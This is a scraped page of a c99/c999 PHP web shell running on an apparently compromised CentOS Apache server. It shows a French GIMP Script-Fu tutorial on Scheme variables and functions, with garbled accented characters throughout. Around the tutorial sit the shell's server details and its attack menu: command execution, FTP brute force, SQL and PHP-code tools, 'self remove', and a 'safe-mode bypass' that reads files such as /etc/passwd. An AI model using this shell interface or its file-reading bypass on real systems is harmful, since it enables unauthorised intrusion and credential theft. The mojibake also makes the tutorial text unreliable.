!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/gimp/2.0/help/fr/   drwxr-xr-x
Free 49.38 GB of 127.8 GB (38.64%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ch07s03s02.html (13.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
3.2.В  Variables et fonctions

3.2.В  Variables et fonctions

Maintenant que nous savons que toute dГ©claration Scheme est incluse entre parenthГЁses, et que le nom de fonction ou l'opГ©rateur vient en premier, nous devons apprendre Г  crГ©er et utiliser les variables. CommenГ§ons par les variables.

3.2.1.В DГ©claration de Variables

Bien qu'il existe deux mГ©thodes pour dГ©clarer des variables, la prГ©fГ©rГ©e est l'utilisation de la structure let*. Si vous connaissez d'autres langages de programmation, cette structure Г©quivaut Г  dГ©finir une liste de variables locales et un champ d'application pour ces variables. Par exemple, pour dГ©clarer deux variables, a et b, initialisГ©es respectivement Г  1 et 2, vous Г©crirez:

         (let*  (
                   (a 1)
                   (b 2)
                )
                (+ a b)
         )
      

ou, sur une ligne:

        (let* ( (a 1) (b 2) ) (+ a b) )
      
[Note] Note

Avec la Console pour Script-Fu, vous ne pourrez utiliser que l'Г©criture sur une ligne. Mais nous continuerons Г  employer les indentations pour que le script soit plus clair. Nous aurons plus de dГ©tails en abordant la section sur l'Espace Blanc.

Ceci dГ©clare deux variables locales, a et b, les initialise, puis affiche leur somme.

3.2.2.В Qu'est-ce qu'une Variable Locale?

Vous remarquerez que nos avons Г©crit l'addition (+ a b) Г  l'intГ©rieur des parenthГЁses de l'expression let* et non pas aprГЁs elles.

C'est parce que la dГ©claration let* dГ©finit un domaine dans le script oГ№ ces variables sont utilisables; si vous aviez placГ© la dГ©claration (+ a b) aprГЁs la dГ©claration (let*...) , vous auriez obtenu une erreur, car les variables dГ©clarГ©es ne sont valables qu'Г  l'intГ©rieur de la dГ©claration let*. C'est ce que les programmeurs appellent des variables locales.

3.2.3.В Syntaxe gГ©nГ©rale de let*

La forme gГ©nГ©rale d'une dГ©claration let* est:

        (let* ( variables ) expressions )
      

oГ№ les variables sont dГ©clarГ©es entre parenthГЁses, p.e (a 2), et les expressions sont une des expressions Scheme valides. Rappelez-vous que les variables dГ©clarГ©es ne sont valables qu'Г  l'intГ©rieur d'une dГ©claration let* statement -- ce sont des variables locales.

3.2.4.В Espace Blanc

PrГ©cГ©demment, nous avons mentionnГ© le fait que vous voudriez certainement utiliser des indentations pour clarifier votre programme. Ce n'est pas un problГЁme pour Scheme, car l'interprГ©teur ignore les espaces blanc. Mais si vous utilisez la Console pour Script-Fu, une expression devra tenir sur une seule ligne entre les parenthГЁses d'ouverture et de fermeture.

3.2.5.В Attribuer une nouvelle valeur Г  une variable

AprГЁs avoir initialiser une variable, il se peut que vous ayiez besoin d'en changer la valeur plus loin dans le script. Utilisez la dГ©claration set! pour changer la valeur d'une variable:

        (let* ( (theNum 10) ) (set! theNum (+ theNum \
        theNum)) )
      

Essayez de deviner ce que fait cette dГ©claration, puis entrez-la dans la console pour Script-Fu.

[Note] Note

Le В«\В» indique qu'il n'y a pas de retour Г  la ligne. Ne l'Г©crivez pas dans la Console et n'appuyez pas sur EntrГ©e, continuez simplement sur la ligne suivante.

3.2.6.В Fonctions

Maintenent que nous savons manipuler les variables, passons aux fonctions. Vous dГ©clarez une fonction avec la syntaxe suivante:

        (define (nom liste de 
        paramГЁtres) expressions)
      

oГ№ nom est le nom donnГ© Г  la fonction, liste de paramГЁtres est une liste dГ©limitГ©e de noms de paramГЁtres, et expressions est une sГ©rie d'expressions que la fonction exГ©cute quand elle est appelГ©e. Par exemple:

        (define (AddXY inX inY) (+ inX inY) )
      

AddXY est le nom de la fonction, inX et inY sont les variables Cette fonction prend ses deux paramГЁtres et les additionne.

Si vous avez programmГ© dans d'autres langages (comme C/C++, Java, Pascal...etc), vous aurez notГ© que plusieurs choses sont absentes dans la dГ©finition de cette fonction comparГ©e aux autres langages.

  • PremiГЁrement, notez que les paramГЁtres n'ont pas de В«typeВ» (c-Г -d que nous ne les avons pas dГ©clarГ©s comme chaГ®ne, ou entiers... etc). Scheme est un langage sans-type. C'est pratique et cela permet une Г©criture rapide des scripts.

  • Ensuite, que nous n'avons pas Г  nous prГ©occuper de la faГ§on de В«retournerВ» le rГ©sultat de notre fonction -- la derniГЁre dГ©claration est la valeur retournГ©e quand on appelle la fonction. Tapez la dГ©finition de la fonction dans la console, puis essayez quequechose comme:

                (AddXY (AddXY 5 6) 4)
              

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0167 ]--